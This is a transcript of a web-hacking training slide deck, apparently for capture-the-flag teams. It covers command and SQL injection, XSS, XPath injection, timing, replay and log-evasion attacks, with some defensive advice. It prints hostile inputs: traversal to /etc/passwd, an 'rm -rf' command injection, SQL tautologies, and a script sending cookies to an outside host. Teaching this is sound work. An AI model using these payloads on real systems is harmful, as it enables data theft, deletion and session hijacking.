Crash Course in Hacking

Download Report

Transcript Crash Course in Hacking

Mike Gerschefske
CRASH COURSE IN WEB HACKING
Hacking is illegal (most of
the time)
 Understand the laws
 Port Scanning can be considered illegal
 Post 9/11 can be act of terrorism
 DMCA Exceptions
 Educational Learning (Institution)
Who cares about web hacking?
 The days of buffer overflows and root boxes
are nearing an end…
 Non executing stacks
 People patching their systems
 Everything is turning into a web system
Power of Google
 Google knows all
 SSN/Credit Card, backend sql
 http://johnny.ihackstuff.com/ghdb.php
 intitle:snc-rz30 inurl:home/
 Robots.txt
 Don’t put secrets in here
Power of the web browser
 Is capable of HTTP GET/POST
 Capable of sending any kind of GET/POST
 Doesn’t have to run client side code (ie javascript)
 Can send anything it wants to
 Can be Bad:
 url: http://somesite/index.php?section=Admin
 Vertical Escalation
Bad Code = Bad Security
 You are not able to control client end:
 Cookies
 Do not put User Level (admin, user, etc.)
 Vertical Escalation
 Do not put user id
 Horizontal Escalation




Posts
Gets
Session IDs
All Data
Museum Example



Code from two years ago:
1 #!/usr/bin/perl
…
7 $first = param('first');










8 $last = param('last');
9 $password = param('password');
10
…
25 if (($first eq "") || ($last eq "") || (! $password eq "unbreakable")) {
26 print "<p>Could not understand or wrong password!!</p>";
27 }
28 else {
29 system "cat ./museum_ideas/${first}.${last}";
…
Some Good Combinations
Dump the password file:
First Name: .
Last Name : /../../../../etc/passwd
Password : unbreakable
Delete the whole directory:
First Name: NOTEMPTY
Last Name : & rm -rf /home/museum/public_html/cgi_bin/museum_ideas
Password : unbreakable
Command Injection
 This is basic idea of command injection
 Security through obscurity sometimes works
 Some people are very diligent
SQL Injections
 We can send commands, why not sql?
 What is SQL?
 What can we do with SQL?
 Get any data we want (that the user has access to)
 Delete all the data the user has access to
 If user is root, dump database
 If user is root, can upload and execute java/c from database
and root box
How to protect against it?
 Check parameters
 Not really…
 Need to do SQL parameterization when at all
possible
 Mark strings as strings, ints as ints
SELECT * WHERE name = @
Why doesn’t checking params
work?
 If you’re really smart it will, but if you don’t
understand the problem it wont
 This is a very difficult problem to understand
 Example:
 http://viva/ictf/index.php/SQL_Injection
 The problem is the ‘ (apostrophe) is a special
character
 To fix we just find and replace all apostrophe’s with
two ‘’ as that’s how we insert apostrophes in a string
 NO!
Second Level SQL Injection
 The problem actually isn’t solved, just more
complicated
 Take:
Username =
' OR 'a' = 'a‘
SELECT * FROM Users WHERE UserName = ''' OR
''a'' = ''a''
Goes in fine but coming out…
 Get username from DB and put in var
 Var contains SQL
 We TRUST DB to give us good data
 Create another SQL Query and the second
one is now vulnerable
 SELECT content FROM database WHERE
username = VUNSQL
XSS – Cross Site Scripting
 Malicious injection of JavaScript
 Cookie Hi-jacking
 MySpace – Replicate itself, add friends
 Samy -
http://web.archive.org/web/20060208182348/namb.la/popu
lar/tech.html
<script>
document.write(“<img
src=http://site.com/a.jpg?cookie= “ +
document.cookie)
</script>
Xpath Injection
 //user[name/test() = ‘’ or 1=1 or ‘’ and
password/text() = ‘junk’]
 Used with:
 XML RPC
 SOAP/WSDL
IDS Will Find You
 SQL/Command Injection is very easy to
detect
 IDS poor at packet fragmentation with timing
attacks
Profiling
 Need to know what you’re attacking
 Can search for exploits
 HEAD / HTTP/1.0 Example
 Everyone’s a little different
 Nmap is a good profiler
 Nessus will profile too
Tools






Add N Edit Cookie – Mozilla Firefox extension
Wget
TamperData – FireFox
Modify Headers - FireFox
Curl
Netcat/Telnet
 Proxies
 Paros Proxy – Free
 Fiddler – Microsoft, Free
 Spike – Free
Timing Attacks
 Breaking Authentication
 Username and password wrong may take x time
while username doesn’t exist takes y time
 Successful timing attacks against encryption
ASP.NET Exploit
 Debugging (source code) only available to
localhost
 Bypass this check by sending the following:
 GET http://localhost/bleh.asp?a=j HTTP/1.0
 Check’s server name variable rather then
remote address
Mod_security
 http://www.modsecurity.org/
Replay Attacks
 Socrebot deletes flag
 Scorebot adds flag
 Since the scorebot goes to everyone we have
the delete and add sequence
 Can potentially replay same delete sequence
across all enemy servers
Log Evasion
 Many logs only log ~4K of URL
 Prevents DOS from filling up logs
 If payload at the end of 4k, wont log malicious
payload
 http://somewhre.com/page.asp?foo=....&payload=M
YPAYLOAD
 Application ignores foo parameter
 Log shows up as GET /page.asp …
 Not just IIS, Sun One App Server